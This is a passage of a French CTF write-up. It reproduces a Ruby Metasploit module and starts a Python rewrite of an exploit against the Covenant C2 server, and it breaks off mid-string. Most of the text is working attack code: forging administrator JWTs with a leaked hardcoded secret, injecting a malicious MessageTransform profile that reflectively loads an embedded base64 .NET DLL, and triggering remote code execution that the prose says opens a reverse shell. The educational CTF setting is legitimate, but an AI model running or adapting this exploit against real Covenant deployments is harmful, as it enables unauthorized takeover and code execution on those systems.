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'
    payload =
"""public static class MessageTransform {
  public static string Transform(byte[] bytes) {
    try {
      string assemblyBase64 = \"#{dll}\";
      var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
      var assembly = System.Reflection.Assembly.Load(assemblyBytes);
      foreach (var type in assembly.GetTypes()) {
        object instance = System.Activator.CreateInstance(type);
        object[] args = new object[] { new string[] { \"\" } };
        try {
          type.GetMethod(\"Main\").Invoke(instance, args);
        }
        catch {}
      }
    }
    catch {}
    return System.Convert.ToBase64String(bytes);
  }

  public static byte[] Invert(string str) {
    return System.Convert.FromBase64String(str);
  }
}"""
  end

  def is_admin(user)
    roles = JSON.parse(read_user_role(user['id']))

    ret = false
    roles.each do |role|
      ret = true if role['roleId'] == @roleid_admin
    end

    ret
  end

  def list_users
    request_api('GET', normalize_uri('api', 'users')).body
  end

  def read_grunt_cfg
    data = {
      'id': 0,
      'listenerId': read_listener_id,
      'implantTemplateId': 1,
      'name': 'Binary',
      'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
      'type': 'binary',
      'dotNetVersion': 'Net35',
      'runtimeIdentifier': 'win_x64',
      'validateCert': true,
      'useCertPinning': true,
      'smbPipeName': 'string',
      'delay': 0,
      'jitterPercent': 0,
      'connectAttempts': 0,
      'launcherString': 'GruntHTTP.exe',
      'outputKind': 'consoleApplication',
      'compressStager': false
    }

    # gerenate grunt payload
    response = request_api('PUT', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
    if !response.nil?
      response = request_api('POST', normalize_uri('api', 'launchers', 'binary'),  data.to_json)
    end

    if !response.nil?
      return parse_grunt_cfg(response.body)
    end

    nil
  end

  def read_listeners
    response = request_api('GET', normalize_uri('api', 'listeners'))
    return response.body unless response.nil?
    nil
  end

  def read_listener_id
    listeners = read_listeners
    unless listeners.nil?
      listeners = JSON.parse(listeners)
      listeners.each do |listener|
        return listener['id'].to_i if listener['name'] == @listener_name
      end
    end

    return(-1)
  end

  def read_listener_type(name)
    response = request_api('GET', normalize_uri('api', 'listeners', 'types'))
    unless response.nil?
      listeners_types = JSON.parse(response.body)
      listeners_types.each do |listener_type|
        if listener_type['name'].downcase == name.downcase
          return listener_type['id'].to_i
        end
      end
    end
    return(-1)
  end

  def read_roleid_admin
    roles = request_api('GET', normalize_uri('api', 'roles')).body
    role_id = ''

    roles = JSON.parse(roles)
    roles.each do |role|
      if role['name'].downcase == 'administrator'
        role_id = role['id']
      end
    end

    role_id
  end

  def read_user_role(id)
    request_api('GET', normalize_uri('api', 'users', id, 'roles')).body
  end

  def request_api(method, uri, data = nil)
    headers = {}
    headers['Authorization'] = "Bearer #{@token}"

    request = {
      'method' => method,
      'uri' => uri,
      'headers' => headers
    }

    if method =~ /POST|PUT/
      request = request.merge({'ctype' => 'application/json', 'data' => data}) unless data.nil?
    end

    response = send_request_cgi(request)
    if response && response.code.to_s =~ /200|201/
      return response
    end

    nil
  end

  def message(msg)
    "#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def parse_grunt_cfg(cfg)
    cfg = JSON.parse(cfg)

    # TODO: better way (https://rubular.com/)
    aes_key = cfg['stagerCode'].match(/.*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);.*$/).to_s.split("\"")[1]
    guid_prefix = cfg['stagerCode'].match(/.*string\saGUID\s=\s@\"(.*?)\";.*$/).to_s.split("\"")[1]

    return([aes_key, guid_prefix])
  end

  def random_id
    "#{SecureRandom.hex(4)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(6)}"
  end

  def upload_profile
    data = {
      'httpUrls': [
        '/en-us/index.html',
        '/en-us/docs.html',
        '/en-us/test.html'
      ],
      'httpRequestHeaders': [
        {'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
        {'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
      ],
      'httpResponseHeaders': [
        {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
      ],
      'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
      'httpGetResponse': '{DATA}',
      'httpPostResponse': '{DATA}',
      'id': 0,
      'name': "#{SecureRandom.hex(5)}",
      'description': '',
      'type': 'HTTP',
      'messageTransform': "#{generate_transform_payload}"
    }

    response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
    return response['location'].split('/')[-1] unless response.nil?

    nil
  end

  def check
    @ip_address = datastore['RHOST']

    print_status(message('Trying to connect.'))

    # generate jwt token w/ ramdomized username.
    @token = generate_jwt

    unless list_users.nil?
      report_vuln(
        host: @ip_address,
        name: name,
        refs: references,
      )

      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    # check for active listener conflict.
    if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
      fail_with(Failure::Unknown, "The remote Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
    end

    print_status(message('Generating admin token w/ leaked JWT secret.'))

    # generate jwt token w/ ramdomized username.
    @token = generate_jwt

    print_status(message('Impersonating an admin user... finding token fields:'))

    # get role id with administrative right.
    @roleid_admin = read_roleid_admin
    print_good(message(" * found admin UID: #{@roleid_admin}."))

    users = JSON.parse(list_users)
    users.each do |user|
      next if user['userName'].downcase == 'serviceuser'

      if is_admin(user)
        print_good(message(" * found admin user: #{user['userName']}"))
        print_status(message('Generating new admin token w/ leaked JWT secret.'))

        # generate jwt token w/ spoofed username and user id.
        @token = generate_jwt(user['userName'], user['id'])

        break
      end
    end

    # generate and upload malicious profile.
    print_status(message('Genarate and inject malicious profile.'))
    profile_id = upload_profile
    
    fail_with(Failure::Unknown, 'Could not upload the malicious profile.') if profile_id.nil?

    # create a listener w/ embeded malicious profile.
    @listener_name = SecureRandom.hex(4)
    if create_listener(profile_id.to_i) == false
      fail_with(Failure::Unknown, 'Could not create the malicious listener.')
    end

    print_status(message('Get GRUNT configuration:'))

    # get grunt configuration (guid prefix and aes key).
    aes_key, guid_prefix = read_grunt_cfg

    print_good(message(" * AES key: #{aes_key}"))
    print_good(message(" * GUID prefix: #{guid_prefix}"))

    print_status(message('Sending stage0 to trigger exploitation.'))

    # trigger the exploitation.
    generate_stage0(aes_key, "#{guid_prefix}#{SecureRandom.hex(5)}")
  end

end

Cet exploit nous apprends quand même quelque chose de fort utilise: la méthodologie de l’attaque. On va tenter d’injecter un DLL dotnet dans le processus Covenant, qui détient obligatoirement les privilèges Administrateur System, en abusant du token administrateur qu’on a précédemment généré. L’exploit s’articule en 5 étapes:

  • On récupère la liste des utilisateurs et on craft le token admin
  • On utilise le token admin pour créer un profil malicieux sur le covenant dans lequel on va placer une DLL vérolée qui, à son exécution, lance un reverse shell. Pour cela on exploit l’option MessageTransform qui permet de personnaliser l’encodage des communications entre le C2 et une victime infectée. L’option MessageTransform prend en paramètre le code d’une classe C# dotnet (que l’on doit appeler MessageTransform). Malheureusement, on ne peut pas lancer le reverse shell directement depuis la classe MessageTransform que l’on vient de créer, car elle n’a pas accès a toutes les fonctionnalités du namespace System (nécessaire pour exécuter des commandes). Cependant on a accès à toutes les classes nécessaires pour injecter un DLL dans la mémoire du processus (les classes Activator de System et Assembly de System.Reflection). Comme expliqué dans l’article, passer par un DLL qu’on va invoquer permet de passer outre cette restriction.
  • On créé un listener malicieux lié au profil malicieux
  • On récupère la configuration grunts de notre listener
  • On lance la stage finale: on se connecte au listener Covenant que l’on a créé, ce qui a pour effet d’activer la DLL vérolée et de pop le reverse shell.

Comme mon langage de prédilection est le python, et que je n’y connais rien en Ruby, je me motive enfin à (re)programmer entièrement l’exploit en python. Ce fut très long et fastidieux, mais j’ai réussi à parvenir à mes fins. Je laisse au lecteur le soin de poser ces questions en commentaires.

import jwt
import time
import requests
from colorama import *
import random
import base64
import time
import sys
import re
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib
import json
import socket
import subprocess


def randomhex(size) -> str:
    char = "abcdef0123456789"
    random_hex = ""
    for i in range(0,size*2):
      random_hex += random.choice(char)
    return random_hex
def random_jti() -> str:
    f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
    return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
def crypt_sha256(content):
  crypto = hashlib.sha256()
  if isinstance(content,str): content = content.encode()
  crypto.update(content)
  return crypto.digest()
def _pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
class exploit():
    def __init__(self):
      self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
      self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
      self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
      self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
      self.c2_port = 0 # port sur lequel le client va se connecter
      self.ADMIN_NAME = ""
      self.ADMIN_ID = ""
      self.ADMIN_TOKEN = ""
    def _gen_jwt(self,USER,USERID):
        EXPIRATION = 1968264576
        content = {
            "sub": USER,
            "jti": random_jti(),
            "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
            "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
          "User",
          "Administrator"
            ],
            "exp": EXPIRATION,
            "iss": "Covenant",
            "aud": "Covenant"
        }
        return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')

    def get_user_list(self) -> dict:
        USER = "hackline"
        USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
        token = self._gen_jwt(USER,USERID)
        r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
        for user in r.json():
          print("""- %s : %s""" % (user["userName"],user["id"]))
        return r.json()

    def generate_transform_payload(self):
      # POC: execute calc
      #dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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